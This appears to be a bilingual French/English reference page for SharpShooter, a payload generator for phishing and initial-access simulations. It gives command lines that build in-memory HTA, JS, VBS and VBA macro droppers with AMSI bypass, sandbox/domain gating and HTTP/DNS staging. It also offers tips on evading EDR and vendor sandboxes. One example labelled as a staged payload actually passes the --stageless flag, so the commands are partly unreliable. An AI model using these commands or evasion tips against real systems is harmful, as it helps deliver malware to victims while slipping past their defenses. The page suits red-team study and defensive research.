SharpShooter
Framework de génération de payloads qui produit des payloads HTA, JS, VBS et VBA staged et stageless avec exécution en mémoire et techniques d'évasion AMSI/sandbox. Payload generation framework that produces staged and stageless HTA, JS, VBS, and VBA payloads with in-memory execution and AMSI/sandbox evasion techniques.
↗ https://github.com/mdsecactivebreach/SharpShooterOverview
SharpShooter is a Python payload generator built for phishing/initial-access simulations. It wraps .NET assemblies (or raw shellcode) inside obfuscated HTA, JS, VBS, or VBA droppers that execute entirely in memory, with built-in options for AMSI bypasses, domain/sandbox checks, and staged delivery over HTTP. It’s typically paired with a C2 framework (Cobalt Strike, Covenant, Empire) as the delivery mechanism for the initial payload.
Common Usage
Stageless HTA payload embedding a .NET DLL, targeting .NET 4
python SharpShooter.py --stageless --dotnetver 4 -o dropper --com --output hta --rawscfile payload.bin
Staged JS payload pulling the DLL from a remote HTTP server
python SharpShooter.py --stageless --dotnetver 4 -o dropper --output js --web --dns dropper.local
Add a sandbox/domain check so the payload only detonates inside the target domain
python SharpShooter.py --stageless --dotnetver 4 -o dropper --output vbs --sandbox CORP --amsi AMSI
Generate a VBA macro variant for embedding in a Word document
python SharpShooter.py --stageless --dotnetver 4 -o dropper --output vba --com --rawscfile payload.bin
Tips
- AMSI/AWL evasion modules age quickly against modern EDR — treat SharpShooter output as a starting point to obfuscate further, not a guaranteed bypass
--sandboxdomain-join checks are a cheap way to reduce detonation inside vendor sandboxes during a phishing simulation- Stageless payloads embed the full payload (larger, self-contained); staged payloads fetch it over HTTP/DNS at runtime (smaller, needs infrastructure)
Help / Man page
usage: SharpShooter.py [-h] [--stageless] [--dotnetver {2,4}] -o OUTPUT
[--com] [--dns HOSTNAME] [--web]
[--output {hta,js,jse,vbs,vbe,vba}]
[--sandbox DOMAIN] [--amsi {AMSI}]
[--rawscfile FILE] [--payload {dll,exe}]
optional arguments:
-h, --help show this help message and exit
--stageless generate a stageless payload
--dotnetver {2,4} target .NET version for the loader
-o OUTPUT output file base name
--com use COM-based execution technique
--dns HOSTNAME use DNS as staging transport
--web use HTTP as staging transport
--output {hta,js,jse,vbs,vbe,vba}
output payload format
--sandbox DOMAIN only execute if joined to this AD domain
--amsi {AMSI} apply AMSI bypass technique
--rawscfile FILE raw shellcode/DLL to embed
Vue d’ensemble
SharpShooter est un générateur de payloads en Python conçu pour les simulations de phishing/d’accès initial. Il enveloppe des assemblies .NET (ou du shellcode brut) dans des droppers HTA, JS, VBS ou VBA obfusqués qui s’exécutent entièrement en mémoire, avec des options intégrées de contournement AMSI, de vérifications de domaine/sandbox, et de livraison staged via HTTP. Il est généralement associé à un framework C2 (Cobalt Strike, Covenant, Empire) comme mécanisme de livraison du payload initial.
Utilisation courante
# Payload HTA stageless embarquant une DLL .NET, ciblant .NET 4
python SharpShooter.py --stageless --dotnetver 4 -o dropper --com --output hta --rawscfile payload.bin
# Payload JS staged récupérant la DLL depuis un serveur HTTP distant
python SharpShooter.py --stageless --dotnetver 4 -o dropper --output js --web --dns dropper.local
# Ajouter une vérification sandbox/domaine pour que le payload ne se déclenche que dans le domaine cible
python SharpShooter.py --stageless --dotnetver 4 -o dropper --output vbs --sandbox CORP --amsi AMSI
# Générer une variante en macro VBA pour l'intégrer dans un document Word
python SharpShooter.py --stageless --dotnetver 4 -o dropper --output vba --com --rawscfile payload.bin
Conseils
- Les modules d’évasion AMSI/AWL vieillissent rapidement face aux EDR modernes : considérer la sortie de SharpShooter comme un point de départ à obfusquer davantage, pas comme un contournement garanti
- Les vérifications de jointure de domaine
--sandboxsont un moyen peu coûteux de réduire le déclenchement dans les sandbox des éditeurs pendant une simulation de phishing - Les payloads stageless embarquent le payload complet (plus volumineux, autonome) ; les payloads staged le récupèrent via HTTP/DNS à l’exécution (plus légers, nécessitent une infrastructure)
Aide / Page de manuel
usage: SharpShooter.py [-h] [--stageless] [--dotnetver {2,4}] -o OUTPUT
[--com] [--dns HOSTNAME] [--web]
[--output {hta,js,jse,vbs,vbe,vba}]
[--sandbox DOMAIN] [--amsi {AMSI}]
[--rawscfile FILE] [--payload {dll,exe}]
optional arguments:
-h, --help show this help message and exit
--stageless generate a stageless payload
--dotnetver {2,4} target .NET version for the loader
-o OUTPUT output file base name
--com use COM-based execution technique
--dns HOSTNAME use DNS as staging transport
--web use HTTP as staging transport
--output {hta,js,jse,vbs,vbe,vba}
output payload format
--sandbox DOMAIN only execute if joined to this AD domain
--amsi {AMSI} apply AMSI bypass technique
--rawscfile FILE raw shellcode/DLL to embed